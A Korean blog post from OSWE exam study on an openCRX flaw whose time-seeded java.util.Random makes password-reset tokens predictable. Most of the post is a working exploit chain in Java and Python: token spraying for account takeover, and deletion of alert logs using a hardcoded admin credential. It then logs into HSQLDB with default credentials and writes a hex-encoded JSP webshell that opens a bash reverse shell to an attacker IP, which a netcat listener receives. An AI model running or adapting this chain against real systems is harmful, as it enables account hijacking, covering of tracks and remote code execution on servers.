정보보안

Random Token 생성기 (Token Spray) 본문

Public/OSWE

Random Token 생성기 (Token Spray)

haru0909 2024. 11. 19. 08:21

OSWE 공부 중에 괜찮은 아티클이 있는데 Offsec 규칙 상 교재 내용을 공개로 올릴 수 없어서, 각자 코드를 짜는 부분만 포스트 하려고 한다. (일단 올려보고 내리라고 연락오면 내림 설마 그러려나)

 

취약점 

  • Whitebox
  • 현재 시간을 이용해 난수(java.util.Random)로 토큰을 생성하는 경우, 해당 토큰을 유추하여 auth bypass를 시도할 수 있음.
  • password reset 부분에서 random을 사용하여 토큰을 발행하는 것을 소스코드 확인 후 악용
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
import java.util.Scanner;

public class OpenCrxToken {

    public static void main(String args[]) {

        Scanner sc = new Scanner(System.in);
        System.out.print("[*] Start Time: ");
        long start = sc.nextLong();
        System.out.print("[*] Stop Time: ");
        long stop = sc.nextLong();
        List<String> tokens = new ArrayList<>();
        String token = "";
        int length = 40;

        for (long l = start; l < stop; l++) {
            token = getRandomBase62(length, l);
            tokens.add(token);
        }
        writeResultsToFile("tokens.txt", tokens);
        System.out.println("[+] Token Saved: tokens.txt");
    }

    public static void writeResultsToFile(String filename, List<String> tokens) {
        try (BufferedWriter writer = new BufferedWriter(new FileWriter(filename))) {
            for (String token : tokens) {
                writer.write(token);
                writer.newLine();
            }
        } catch (IOException e) {
            System.err.println("Error writing to file: " + e.getMessage());
        }
    }

    public static String getRandomBase62(int length, long seed) {

        String alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
        String token = "";
        Random random = new Random(seed);
        for (int i = 0; i < length; i++) {
            token = token + alphabet.charAt(random.nextInt(62));
        }
        return token;
    }
}

공격 예시

// 토큰 생성 Request 시 타이밍 확인  
$ date +%s%3N && curl -s -i -X 'POST' --data-binary 'id=guest' 'http://whatever.com:8080/RequestPasswordReset.jsp' && date +%s%3N

// 요청 시간 값
시작 시각: 1731970204684
끝난 시각: 1731970205528

 

 

tokens.txt에서 한 줄씩 불러와 password reset 요청을 보내는 자동화 스크립트 실행.

 

 

변경한 password로 로그인 성공

 

 

+) 토큰 스프레이 -> 비밀번호 변경 -> alerts 로그 삭제 자동화 코드 (주의 매우 조잡)

 

# OpenCRXReal.py 

#!/usr/bin/python3

import subprocess
import sys

# Ensure required packages are installed
def install_packages():
    try:
        import jpype
        import requests
        from bs4 import BeautifulSoup
    except ImportError:
        print("[+] Installing required packages...\n")
        subprocess.check_call([sys.executable, "-m", "pip", "install", "jpype1", "requests", "beautifulsoup4"])

install_packages()

import jpype
import jpype.imports
from jpype.types import *
import requests
import argparse
from bs4 import BeautifulSoup
import re
import base64

# Compile Java file and create JAR file
def compile_java():
    try:
        print("[+] Compiling Java file...")
        subprocess.check_call(["javac", "OpenCrxToken.java"])
        print("[+] Creating JAR file...")
        subprocess.check_call(["jar", "cvf", "OpenCRX.jar", "OpenCrxToken.class"])
    except subprocess.CalledProcessError as e:
        print("[-] Failed to compile Java file or create JAR file.")
        sys.exit(1)

compile_java()

def delete_alerts(encoded_credentials):
    # Base URL for alerts
    base_url = "http://opencrx:8080/opencrx-rest-CRX/org.opencrx.kernel.home1/provider/CRX/segment/Standard/userHome/guest/alert"
    headers = {"Authorization": f"Basic {encoded_credentials}"}

    # GET request to retrieve existing alerts
    response = requests.get(base_url, headers=headers)

    if response.status_code == 200:
        # Parsing XML response to find alert identities
        xml_data = response.text
        soup = BeautifulSoup(xml_data, "xml")
        alerts = soup.find_all("identity")
        
        for alert in alerts:
            alert_text = alert.text
            print("[+] Found alert: " + alert_text)

            # Extracting specific value after the last '/'
            match = re.search(r"[^/]+$", alert_text)
            if match:
                specific_value = match.group(0)
                delete_url = f"{base_url}/{specific_value}"
                
                # Preparing DELETE request
                delete_response = requests.delete(delete_url, headers=headers)

                # Check DELETE request status
                if delete_response.status_code in [200, 204]:
                    print("[+] Alert Deleted: " + specific_value)
                else:
                    print("[-] Failed to delete alert: " + specific_value + " Status code:", delete_response.status_code)
                    
                    # Retry with hardcoded admin credentials
                    print("[*] Retrying with admin-Root credentials...")
                    header = {"Authorization": "Basic YWRtaW4tUm9vdDphZG1pbi1Sb290"}
                    retry_response = requests.delete(delete_url, headers=header)
                    
                    if retry_response.status_code in [200, 204]:
                        print("[+] Alert Deleted on retry: " + specific_value)
                    else:
                        print("[-] Failed to delete alert after retry: " + specific_value)
    
    else:
        print("[-] Failed to retrieve alerts. Status code:", response.status_code)

# Start JVM and run the Java class to generate tokens
jar_path = "OpenCRX.jar"
if not jpype.isJVMStarted():
    jpype.startJVM(classpath=[jar_path])
OpenCRXToken = jpype.JClass("OpenCrxToken")
OpenCRXToken.main([])
jpype.shutdownJVM()

# Parse command line arguments for user and password
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--user", help="Username to target", required=True)
parser.add_argument("-p", "--password", help="Password value to set", required=True)
args = parser.parse_args()

# URL to reset the password
target = "http://opencrx:8080/opencrx-core-CRX/PasswordResetConfirm.jsp"

# Start token spray for password reset
print("[*] Starting token spray. Standby.")
with open("tokens.txt", "r") as f:
    for word in f:
        # Prepare payload for password reset request
        payload = {
            "t": word.rstrip(),
            "p": "CRX",
            "s": "Standard",
            "id": args.user,
            "password1": args.password,
            "password2": args.password,
        }

        # Send POST request to reset password
        r = requests.post(url=target, data=payload)
        res = r.text

        # Check if the password reset was successful
        if "Unable to reset password" not in res:
            print("Successful reset with token: %s" % word)
            # Create encoded credentials for authentication
            id = args.user
            pw = args.password
            credentials = f"{id}:{pw}"
            encoded_credentials = base64.b64encode(credentials.encode("utf-8")).decode("utf-8")
            print("[+] Encoded Credentials: " + encoded_credentials)

            # Call delete_alerts function to delete alerts
            delete_alerts(encoded_credentials)
            break

 

# OpenCRX.java 

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;

public class OpenCrxToken {

    public static void main(String args[]) {
        long start = 0;
        long end = 0;
        try {
            ProcessBuilder processBuilder = new ProcessBuilder(
                "bash", "-c",
                "start=$(date +%s%3N) && curl -s -o /dev/null -X 'POST' --data-binary 'id=guest' 'http://opencrx:8080/opencrx-core-CRX/RequestPasswordReset.jsp' && end=$(date +%s%3N) && echo $start $end"
            );

            Process process = processBuilder.start();
       
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;


            if ((line = reader.readLine()) != null) {
                String[] timestamps = line.trim().split(" ");
                if (timestamps.length == 2) {
                    start = Long.parseLong(timestamps[0]);
                    end = Long.parseLong(timestamps[1]);
                }
            }

            int exitCode = process.waitFor();
            System.out.println("Exit Code: " + exitCode);
            System.out.println("[+] Start time: " + start + ", End time: " + end);

        } catch (IOException | InterruptedException e) {
            e.printStackTrace();
            System.exit(1); 
        }

        if (start != 0 && end != 0) {
            List<String> tokens = new ArrayList<>();
            String token = "";
            int length = 40;

            for (long l = start; l < end; l++) {
                token = getRandomBase62(length, l);
                tokens.add(token);
            }
            writeResultsToFile("tokens.txt", tokens);
            System.out.println("[+] Token Saved: tokens.txt");
        } else {
            System.err.println("Error: Failed to retrieve valid start and end timestamps.");
            System.exit(1); 
        }
    }

    public static void writeResultsToFile(String filename, List<String> tokens) {
        try (BufferedWriter writer = new BufferedWriter(new FileWriter(filename))) {
            for (String token : tokens) {
                writer.write(token);
                writer.newLine();
            }
        } catch (IOException e) {
            System.err.println("Error writing to file: " + e.getMessage());
            System.exit(1);
        }
    }

    public static String getRandomBase62(int length, long seed) {
        String alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
        StringBuilder token = new StringBuilder();
        Random random = new Random(seed);
        for (int i = 0; i < length; i++) {
            token.append(alphabet.charAt(random.nextInt(62)));
        }
        return token.toString();
    }
}

 

 

최종 PoC (Auth bypass & RCE)

+) 토큰 스프레이 진행 -> 비밀번호 변경(auth bypass) -> 비밀번호 변경 시도 alerts 로그 삭제 -> hsql db login & create procedure & upload webshell(full interactive shell) -> open nc listener -> curl

import sys
import re
import base64
import argparse
import subprocess
import time
import pexpect
import requests
from bs4 import BeautifulSoup


def install_packages():
    try:
        import requests
        from bs4 import BeautifulSoup
        import argparse
        import re
        import base64
    except ImportError:
        print("[+] Installing required packages...\n")
        subprocess.check_call([sys.executable, "-m", "pip", "install", "jpype1", "requests", "beautifulsoup4"])


def parse_arguments():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--user", help="Username to target", required=True)
    parser.add_argument("-p", "--password", help="Password value to set", required=True)
    parser.add_argument("-i", "--ip", help="Target server IP address", required=True)
    return parser.parse_args()


def get_headers(encoded_credentials):
    return {"Authorization": f"Basic {encoded_credentials}"}


def delete_alerts(ip_address, encoded_credentials):
    base_url = f"http://{ip_address}:8080/opencrx-rest-CRX/org.opencrx.kernel.home1/provider/CRX/segment/Standard/userHome/guest/alert"
    headers = get_headers(encoded_credentials)
    retries = 3
    delay = 2

    for attempt in range(retries):
        response = requests.get(base_url, headers=headers)
        if response.status_code == 200:
            xml_data = response.text
            soup = BeautifulSoup(xml_data, "xml")
            alerts = soup.find_all("identity")
            for alert in alerts:
                alert_text = alert.text
                # print(f"[+] Found alert: {alert_text}")
                match = re.search(r"[^/]+$", alert_text)
                if match:
                    specific_value = match.group(0)
                    delete_url = f"{base_url}/{specific_value}"
                    delete_response = requests.delete(delete_url, headers=headers)
                    if delete_response.status_code in [200, 204]:
                        print(f"[+] Alert Deleted: {specific_value}")
                    else:
                        # print(f"[-] Failed to delete alert: {specific_value} Status code: {delete_response.status_code}")
                        print("[*] Retrying with admin-Root credentials...")
                        admin_headers = {"Authorization": "Basic YWRtaW4tUm9vdDphZG1pbi1Sb290"}
                        retry_response = requests.delete(delete_url, headers=admin_headers)
                        if retry_response.status_code in [200, 204]:
                            print(f"[+] Alert Deleted on retry")
                        else:
                            print(f"[-] Failed to delete alert after retry: {specific_value}")
            break
        else:
            print(f"[-] Failed to retrieve alerts. Status code: {response.status_code}. Retrying in {delay} seconds...")
            time.sleep(delay)
            delay *= 2
    else:
        print("[-] Error: Failed to retrieve alerts after multiple attempts.")


def compile_and_run_java(ip_address):
    java_code = f"""
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;

public class OpenCrxToken {{

    public static void main(String args[]) {{
        long start = 0;
        long end = 0;
        try {{
            ProcessBuilder processBuilder = new ProcessBuilder(
                "bash", "-c",
                "start=$(date +%s%3N) && curl -s -o /dev/null -X 'POST' --data-binary 'id=guest' 'http://{ip_address}:8080/opencrx-core-CRX/RequestPasswordReset.jsp' && end=$(date +%s%3N) && echo $start $end"
            );

            Process process = processBuilder.start();

            try (BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()))) {{
                String line;
                if ((line = reader.readLine()) != null) {{
                    String[] timestamps = line.trim().split(" ");
                    if (timestamps.length == 2) {{
                        start = Long.parseLong(timestamps[0]);
                        end = Long.parseLong(timestamps[1]);
                    }}
                }}
            }}

            int exitCode = process.waitFor();
            // System.out.println("Exit Code: " + exitCode);
            // System.out.println("[+] Start time: " + start + ", End time: " + end);

        }} catch (IOException | InterruptedException e) {{
            e.printStackTrace();
            System.exit(1); 
        }}

        if (start != 0 && end != 0) {{
            List<String> tokens = new ArrayList<>();
            String token = "";
            int length = 40;

            for (long l = start; l < end; l++) {{
                token = getRandomBase62(length, l);
                tokens.add(token);
            }}
            writeResultsToFile("tokens.txt", tokens);
            System.out.println("[+] Token Saved: tokens.txt");
        }} else {{
            System.err.println("Error: Failed to retrieve valid start and end timestamps.");
            System.exit(1); 
        }}
    }}

    public static void writeResultsToFile(String filename, List<String> tokens) {{
        try (BufferedWriter writer = new BufferedWriter(new FileWriter(filename))) {{
            for (String token : tokens) {{
                writer.write(token);
                writer.newLine();
            }}
        }} catch (IOException e) {{
            System.err.println("Error writing to file: " + e.getMessage());
            System.exit(1);
        }}
    }}

    public static String getRandomBase62(int length, long seed) {{
        String alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
        StringBuilder token = new StringBuilder();
        Random random = new Random(seed);
        for (int i = 0; i < length; i++) {{
            token.append(alphabet.charAt(random.nextInt(62)));
        }}
        return token.toString();
    }}
}}
"""

    java_filename = "OpenCrxToken.java"
    with open(java_filename, "w") as java_file:
        java_file.write(java_code)

    try:
        print("[+] Compiling Java file...")
        subprocess.check_call(["javac", java_filename])
        print("[+] Creating JAR file...")
        subprocess.check_call(["jar", "cvf", "OpenCRX.jar", "OpenCrxToken.class"])
        # print("[+] Running Java code to generate tokens...")
        subprocess.check_call(["java", "-cp", "OpenCRX.jar", "OpenCrxToken"])
    except subprocess.CalledProcessError:
        print("[-] Failed to compile or run Java code.")
        sys.exit(1)


def start_token_spray(ip_address, user, password):
    try:
        with open("tokens.txt", "r") as f:
            tokens = f.readlines()
    except FileNotFoundError:
        print("[-] Error: tokens.txt file not found.")
        sys.exit(1)

    target = f"http://{ip_address}:8080/opencrx-core-CRX/PasswordResetConfirm.jsp"
    # print("[*] Starting token spray. Standby.")
    for word in tokens:
        word = word.strip()
        payload = {
            "t": word,
            "p": "CRX",
            "s": "Standard",
            "id": user,
            "password1": password,
            "password2": password,
        }

        r = requests.post(url=target, data=payload)
        res = r.text

        if "Unable to reset password" not in res:
            print("[+] Successful reset with token: %s" % word)
            credentials = f"{user}:{password}"
            encoded_credentials = base64.b64encode(credentials.encode("utf-8")).decode("utf-8")
            # print("[+] Encoded Credentials: " + encoded_credentials)
            delete_alerts(ip_address, encoded_credentials)
            break


def create_and_call_procedure(ip_address):
    try:
        print("[+] Connecting to SQL and creating procedure writeBytesToFilename...")
        create_procedure_command = (
            "java -cp /home/jujjing/oswe_lab/opencrx/hsqldb-2.7.4/hsqldb/lib/hsqldb.jar:/home/jujjing/oswe_lab/opencrx/hsqldb-2.7.4/hsqldb/lib/sqltool.jar "
            f"org.hsqldb.cmdline.SqlTool --inlineRc url=jdbc:hsqldb:hsql://{ip_address}:9001/CRX,user=sa"
        )
        child = pexpect.spawn(create_procedure_command, timeout=60)
        child.expect("Enter password for sa:")
        child.sendline("manager99")
        child.expect("sql>")
        print("[+] Hsql login success")

        child.sendline("DROP PROCEDURE writeBytesToFilename;")
        child.expect("sql>")
        print("[+] Procedure dropped successfully")

        create_procedure_sql = (
            "CREATE PROCEDURE writeBytesToFilename(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024)) LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename';"
        )
        child.sendline(create_procedure_sql)
        child.expect("raw>")
        child.sendline(".;")

        index = child.expect([r"sql>", r"raw>"])
        if index in [0, 1]:
            output = child.before.decode('utf-8')
            if "error" not in output.lower():
                print("[+] Procedure created successfully")
                print("[*] Calling procedure to upload webshell...")
                call_procedure_sql = (
                    "CALL writeBytesToFilename('../../apache-tomee-plus-7.0.5/apps/opencrx-core-CRX/opencrx-core-CRX/shell13.jsp', "
                    "CAST('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20726571756573742e676574506172616d657465722822636d6422293b0a202020537472696e67206f7574707574203d2022223b0a0a202020696628636d6420213d206e756c6c29207b0a202020202020537472696e672073203d206e756c6c3b0a202020202020747279207b0a20202020202020202050726f636573732070203d2052756e74696d652e67657452756e74696d6528292e6578656328222f62696e2f62617368202d632062617368247b4946537d2d69247b4946537d3e262f6465762f7463702f3139322e3136382e34352e3234362f383038303c263122293b0a2020202020202020204275666665726564526561646572207349203d206e6577204275666665726564526561646572286e657720496e70757453747265616d52656164657228702e676574496e70757453747265616d282929293b0a2020202020202020207768696c65282873203d2073492e726561644c696e6528292920213d206e756c6c29207b0a2020202020202020202020206f7574707574202b3d20733b0a2020202020202020207d0a2020202020207d0a202020202020636174636828494f457863657074696f6e206529207b0a202020202020202020652e7072696e74537461636b547261636528293b0a2020202020207d0a2020207d0a253e0a0a3c7072653e0a3c253d6f757470757420253e0a3c2f7072653e' AS VARBINARY(1024)));"
                )
                child.sendline(call_procedure_sql)
                child.sendline(".;")

                index = child.expect([r"sql>", r"raw>"])
                if index in [0, 1]:
                    output = child.before.decode('utf-8')
                    if "error" not in output.lower():
                        print("[+] Webshell uploaded successfully")
                    else:
                        print("[-] Procedure call failed with error")
                        sys.exit(1)
    except pexpect.exceptions.ExceptionPexpect as e:
        print("[-] Failed to create or call procedure")
        print(e)
        print("[-] An error occurred, exiting")
        sys.exit(1)


def start_netcat_listener(ip_address):
    try:
        print("[+] Starting netcat listener on port 8080...")
        listener_command = ["nc", "-lvnp", "8080"]
        listener_process = subprocess.Popen(listener_command)
        print("[+] Netcat listener started, waiting for reverse shell...")
        time.sleep(3)
        curl_webshell(ip_address)
        listener_process.wait()
    except KeyboardInterrupt:
        print("\n[-] Netcat listener stopped by user")
        listener_process.terminate()
        sys.exit(0)


def curl_webshell(ip_address):
    subprocess.check_call(["curl", f"http://{ip_address}:8080/opencrx-core-CRX/shell13.jsp?cmd=id"])


if __name__ == "__main__":
    install_packages()
    args = parse_arguments()
    ip_address = args.ip
    user = args.user
    password = args.password

    compile_and_run_java(ip_address)
    start_token_spray(ip_address, user, password)
    create_and_call_procedure(ip_address)
    start_netcat_listener(ip_address)

'Public > OSWE' 카테고리의 다른 글

OSWE 시험 팁  (1) 2025.01.31